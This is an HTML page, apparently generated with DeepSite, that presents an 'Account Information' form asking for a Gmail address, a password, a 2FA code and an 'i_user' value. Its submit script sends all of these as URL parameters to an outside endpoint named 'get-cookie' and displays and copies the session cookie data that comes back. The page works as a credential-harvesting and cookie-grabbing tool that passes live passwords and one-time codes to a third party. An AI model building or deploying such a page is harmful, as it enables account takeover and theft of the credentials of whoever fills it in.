| <!DOCTYPE html> |
| <html lang="en"> |
| <head> |
| <meta charset="UTF-8"> |
| <meta name="viewport" content="width=device-width, initial-scale=1.0"> |
| <title>Account Information Form</title> |
| <script src="https://cdn.tailwindcss.com"></script> |
| <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css"> |
| <style> |
| |
| .animate-fade-in { |
| animation: fadeIn 0.5s cubic-bezier(0.175, 0.885, 0.32, 1.275) forwards; |
| } |
| .animate-fade-out { |
| animation: fadeOut 0.3s cubic-bezier(0.6, -0.28, 0.735, 0.045) forwards; |
| } |
| @keyframes fadeIn { |
| from { opacity: 0; transform: translateY(20px) scale(0.95); } |
| to { opacity: 1; transform: translateY(0) scale(1); } |
| } |
| @keyframes fadeOut { |
| from { opacity: 1; transform: translateY(0) scale(1); } |
| to { opacity: 0; transform: translateY(-20px) scale(0.9); } |
| } |
| |
| .copy-btn { |
| transition: all 0.4s cubic-bezier(0.68, -0.55, 0.265, 1.55); |
| } |
| .copy-btn:hover { |
| transform: scale(1.1) rotate(5deg); |
| box-shadow: 0 4px 15px rgba(59, 130, 246, 0.3); |
| } |
| .copy-btn:active { |
| transform: scale(0.9) rotate(-5deg); |
| } |
| |
| |
| .data-container { |
| max-height: 0; |
| overflow: hidden; |
| transition: max-height 0.5s ease; |
| border-radius: 0.5rem; |
| background: linear-gradient(145deg, #f8fafc, #f1f5f9); |
| box-shadow: inset 0 2px 4px rgba(0,0,0,0.05); |
| } |
| .data-container.expanded { |
| max-height: 500px; |
| border: 1px solid #e2e8f0; |
| } |
| |
| |
| .toggle-btn::after { |
| content: '+'; |
| display: inline-block; |
| margin-left: 8px; |
| transition: transform 0.3s ease; |
| font-weight: bold; |
| } |
| .toggle-btn.expanded::after { |
| content: '-'; |
| } |
| |
| |
| input:focus { |
| box-shadow: 0 0 0 3px rgba(59, 130, 246, 0.2); |
| } |
| |
| |
| .spinner { |
| animation: spin 1s linear infinite, pulse 1.5s ease-in-out infinite; |
| } |
| @keyframes spin { |
| 0% { transform: rotate(0deg); } |
| 100% { transform: rotate(360deg); } |
| } |
| @keyframes pulse { |
| 0%, 100% { opacity: 1; } |
| 50% { opacity: 0.5; } |
| } |
| |
| .ripple { |
| position: relative; |
| overflow: hidden; |
| } |
| .ripple-effect { |
| position: absolute; |
| border-radius: 50%; |
| background: rgba(255, 255, 255, 0.4); |
| transform: scale(0); |
| animation: ripple 600ms linear; |
| pointer-events: none; |
| } |
| @keyframes ripple { |
| to { |
| transform: scale(4); |
| opacity: 0; |
| } |
| } |
| </style> |
| </head> |
| <body class="bg-gray-100 min-h-screen flex items-center justify-center p-4"> |
| <div class="w-full max-w-md bg-white rounded-xl shadow-lg overflow-hidden transform transition-all duration-500 hover:shadow-2xl hover:-translate-y-1"> |
| <div class="bg-blue-600 py-4 px-6"> |
| <h1 class="text-white text-2xl font-bold">Account Information</h1> |
| <p class="text-blue-100 mt-1">Enter your details below</p> |
| </div> |
| |
| <div class="p-6"> |
| <form id="accountForm" class="space-y-4"> |
| <div> |
| <label for="gmail" class="block text-gray-700 font-medium mb-1">Gmail*</label> |
| <div class="relative"> |
| <input type="email" id="gmail" required placeholder="Nhập địa chỉ Gmail" class="w-full px-4 py-2 border border-gray-300 rounded-lg focus:ring-2 focus:ring-blue-500 focus:border-blue-500 outline-none transition"> |
| <div class="absolute inset-y-0 right-0 flex items-center pr-3 pointer-events-none"> |
| <i class="fas fa-envelope text-gray-400"></i> |
| </div> |
| </div> |
| </div> |
| |
| <div> |
| <label for="password" class="block text-gray-700 font-medium mb-1">Password*</label> |
| <div class="relative"> |
| <input type="password" id="password" required placeholder="Nhập mật khẩu" class="w-full px-4 py-2 border border-gray-300 rounded-lg focus:ring-2 focus:ring-blue-500 focus:border-blue-500 outline-none transition"> |
| <div class="absolute inset-y-0 right-0 flex items-center pr-3 pointer-events-none"> |
| <i class="fas fa-lock text-gray-400"></i> |
| </div> |
| </div> |
| </div> |
| |
| <div> |
| <label for="twoFA" class="block text-gray-700 font-medium mb-1">2FA Code (Optional)</label> |
| <div class="relative"> |
| <input type="text" id="twoFA" placeholder="Nhập mã 2FA (nếu có)" class="w-full px-4 py-2 border border-gray-300 rounded-lg focus:ring-2 focus:ring-blue-500 focus:border-blue-500 outline-none transition"> |
| <div class="absolute inset-y-0 right-0 flex items-center pr-3 pointer-events-none"> |
| <i class="fas fa-shield-alt text-gray-400"></i> |
| </div> |
| </div> |
| </div> |
| |
| <div> |
| <label for="iUser" class="block text-gray-700 font-medium mb-1">i_user (Optional)</label> |
| <div class="relative"> |
| <input type="text" id="iUser" placeholder="Nhập i_user (nếu có)" class="w-full px-4 py-2 border border-gray-300 rounded-lg focus:ring-2 focus:ring-blue-500 focus:border-blue-500 outline-none transition"> |
| <div class="absolute inset-y-0 right-0 flex items-center pr-3 pointer-events-none"> |
| <i class="fas fa-user-circle text-gray-400"></i> |
| </div> |
| </div> |
| </div> |
| |
| <button type="submit" class="w-full bg-gradient-to-r from-blue-600 to-blue-500 hover:from-blue-700 hover:to-blue-600 text-white font-medium py-3 px-4 rounded-lg transition-all duration-300 flex items-center justify-center space-x-2 hover:shadow-lg active:scale-95 transform hover:-translate-y-0.5"> |
| <i class="fas fa-paper-plane"></i> |
| <span>Submit</span> |
| </button> |
| </form> |
| |
| <div class="mt-8"> |
| <button id="toggleDataBtn" class="toggle-btn w-full text-left font-medium text-gray-700 bg-gray-100 hover:bg-gray-200 rounded-lg px-4 py-2 transition"> |
| Generated Data |
| </button> |
| |
| <div id="dataContainer" class="data-container mt-2 bg-gray-50 rounded-lg overflow-hidden"> |
| <div class="p-4 relative"> |
| <pre id="generatedData" class="text-sm text-gray-800 overflow-auto max-h-80"></pre> |
| <button id="copyBtn" class="copy-btn absolute top-2 right-2 bg-blue-100 hover:bg-blue-200 text-blue-800 p-2 rounded-lg transition"> |
| <i class="fas fa-copy"></i> |
| </button> |
| </div> |
| </div> |
| </div> |
| </div> |
| </div> |
|
|
| <script> |
| document.addEventListener('DOMContentLoaded', function() { |
| const form = document.getElementById('accountForm'); |
| const toggleBtn = document.getElementById('toggleDataBtn'); |
| const dataContainer = document.getElementById('dataContainer'); |
| const generatedData = document.getElementById('generatedData'); |
| const copyBtn = document.getElementById('copyBtn'); |
| |
| |
| |
| toggleBtn.addEventListener('click', function() { |
| this.classList.toggle('expanded'); |
| dataContainer.classList.toggle('expanded'); |
| }); |
| |
| |
| function createRipple(event) { |
| const button = event.currentTarget; |
| const circle = document.createElement("span"); |
| const diameter = Math.max(button.clientWidth, button.clientHeight); |
| const radius = diameter / 2; |
| |
| circle.style.width = circle.style.height = `${diameter}px`; |
| circle.style.left = `${event.clientX - button.getBoundingClientRect().left - radius}px`; |
| circle.style.top = `${event.clientY - button.getBoundingClientRect().top - radius}px`; |
| circle.classList.add("ripple-effect"); |
| |
| const ripple = button.getElementsByClassName("ripple-effect")[0]; |
| if (ripple) ripple.remove(); |
| |
| button.appendChild(circle); |
| } |
| |
| |
| document.querySelectorAll('button').forEach(button => { |
| button.classList.add('ripple'); |
| button.addEventListener('click', createRipple); |
| }); |
| |
| |
| copyBtn.addEventListener('click', function() { |
| const text = generatedData.textContent; |
| navigator.clipboard.writeText(text).then(() => { |
| const originalIcon = this.innerHTML; |
| this.innerHTML = '<i class="fas fa-check"></i>'; |
| this.classList.remove('bg-blue-100', 'hover:bg-blue-200', 'text-blue-800'); |
| this.classList.add('bg-green-100', 'hover:bg-green-200', 'text-green-800'); |
| |
| setTimeout(() => { |
| this.innerHTML = originalIcon; |
| this.classList.remove('bg-green-100', 'hover:bg-green-200', 'text-green-800'); |
| this.classList.add('bg-blue-100', 'hover:bg-blue-200', 'text-blue-800'); |
| }, 2000); |
| }); |
| }); |
| |
| |
| form.addEventListener('submit', async function(e) { |
| e.preventDefault(); |
| |
| |
| const submitBtn = form.querySelector('button[type="submit"]'); |
| const originalBtnContent = submitBtn.innerHTML; |
| submitBtn.innerHTML = '<i class="fas fa-spinner spinner"></i> Processing...'; |
| submitBtn.disabled = true; |
| |
| try { |
| |
| const formData = { |
| gmail: document.getElementById('gmail').value, |
| password: document.getElementById('password').value, |
| twoFA: document.getElementById('twoFA').value, |
| iUser: document.getElementById('iUser').value |
| }; |
| |
| |
| const params = new URLSearchParams(); |
| params.append('username', formData.gmail); |
| params.append('password', formData.password); |
| if (formData.twoFA) params.append('twofactor', formData.twoFA); |
| if (formData.iUser) params.append('i_user', formData.iUser); |
| |
| |
| const controller = new AbortController(); |
| const timeoutId = setTimeout(() => controller.abort(), 10000); |
| |
| let response; |
| try { |
| response = await fetch(`https://ap-iget.vercel.app/api/get-cookie?${params.toString()}`, { |
| method: 'GET', |
| mode: 'cors', |
| headers: { |
| 'Accept': 'application/json' |
| }, |
| signal: controller.signal |
| }); |
| } catch (err) { |
| if (err.name === 'TypeError' && err.message.includes('Failed to fetch')) { |
| throw new Error('Failed to connect to the server. This could be due to CORS restrictions or server unavailability.'); |
| } |
| throw new Error(`Network request failed: ${err.message}. Please check your internet connection and try again.`); |
| } |
| |
| if (!response.ok) { |
| let errorDetails = ''; |
| try { |
| const errorData = await response.json(); |
| errorDetails = errorData.message || errorData.error || ''; |
| if (errorData.details) { |
| errorDetails += ` (${errorData.details})`; |
| } |
| } catch (e) { |
| errorDetails = await response.text(); |
| } |
| |
| let errorMessage = `API Error: ${response.status} ${response.statusText}`; |
| if (errorDetails) { |
| errorMessage += ` - ${errorDetails}`; |
| } |
| throw new Error(errorMessage); |
| } |
| |
| clearTimeout(timeoutId); |
| |
| let dataToDisplay; |
| try { |
| dataToDisplay = await response.json(); |
| if (!dataToDisplay) { |
| throw new Error('Empty response from server'); |
| } |
| } catch (e) { |
| throw new Error('Invalid response format from server'); |
| } |
| |
| |
| generatedData.textContent = JSON.stringify(dataToDisplay, null, 2); |
| |
| |
| if (!dataContainer.classList.contains('expanded')) { |
| toggleBtn.classList.add('expanded'); |
| dataContainer.classList.add('expanded'); |
| } |
| |
| |
| const notification = document.createElement('div'); |
| notification.className = 'fixed top-4 right-4 bg-gradient-to-r from-green-500 to-green-600 text-white px-6 py-3 rounded-xl shadow-xl animate-fade-in transform transition-all duration-300 hover:scale-105 cursor-pointer'; |
| notification.innerHTML = '<i class="fas fa-check-circle mr-2"></i> Data processed successfully!'; |
| document.body.appendChild(notification); |
| |
| |
| setTimeout(() => { |
| notification.classList.add('animate-fade-out'); |
| setTimeout(() => notification.remove(), 300); |
| }, 3000); |
| |
| } catch (error) { |
| console.error('Error:', error); |
| |
| const errorNotification = document.createElement('div'); |
| errorNotification.className = 'fixed top-4 right-4 bg-gradient-to-r from-red-500 to-red-600 text-white px-6 py-3 rounded-xl shadow-xl animate-fade-in transform transition-all duration-300 hover:scale-105 cursor-pointer'; |
| let errorMessage = error.message || 'Failed to fetch data'; |
| |
| if (errorMessage.includes('Failed to connect to the server')) { |
| errorMessage = 'Server Connection Error: Could not establish connection to the API server. Possible causes:\n1. Server may be down or unreachable\n2. CORS restrictions blocking the request\n3. Network firewall/proxy issues\n4. Invalid server URL'; |
| } else if (errorMessage.includes('Network request failed')) { |
| errorMessage = 'Network Error: Could not connect to server. Please:\n1. Check your internet connection\n2. Verify the server is online\n3. Try refreshing the page'; |
| } else if (errorMessage.includes('Failed to fetch')) { |
| errorMessage = 'Connection Error: Please:\n1. Check your internet connection\n2. Disable VPN if using one\n3. Try a different network\n4. Contact support if issue persists'; |
| } |
| errorNotification.innerHTML = `<i class="fas fa-exclamation-circle mr-2"></i> ${errorMessage.replace(/\n/g, '<br>')}`; |
| document.body.appendChild(errorNotification); |
| |
| |
| setTimeout(() => { |
| errorNotification.classList.add('animate-fade-out'); |
| setTimeout(() => errorNotification.remove(), 300); |
| }, 5000); |
| } finally { |
| |
| submitBtn.innerHTML = originalBtnContent; |
| submitBtn.disabled = false; |
| } |
| }); |
| }); |
| </script> |
| <p style="border-radius: 8px; text-align: center; font-size: 12px; color: #fff; margin-top: 16px;position: fixed; left: 8px; bottom: 8px; z-index: 10; background: rgba(0, 0, 0, 0.8); padding: 4px 8px;">Made with <img src="https://enzostvs-deepsite.hf.space/logo.svg" alt="DeepSite Logo" style="width: 16px; height: 16px; vertical-align: middle;display:inline-block;margin-right:3px;filter:brightness(0) invert(1);"><a href="https://enzostvs-deepsite.hf.space" style="color: #fff;text-decoration: underline;" target="_blank" >DeepSite</a> - 🧬 <a href="https://enzostvs-deepsite.hf.space?remix=ShadowVNs/twandxvck" style="color: #fff;text-decoration: underline;" target="_blank" >Remix</a></p></body> |
| </html> |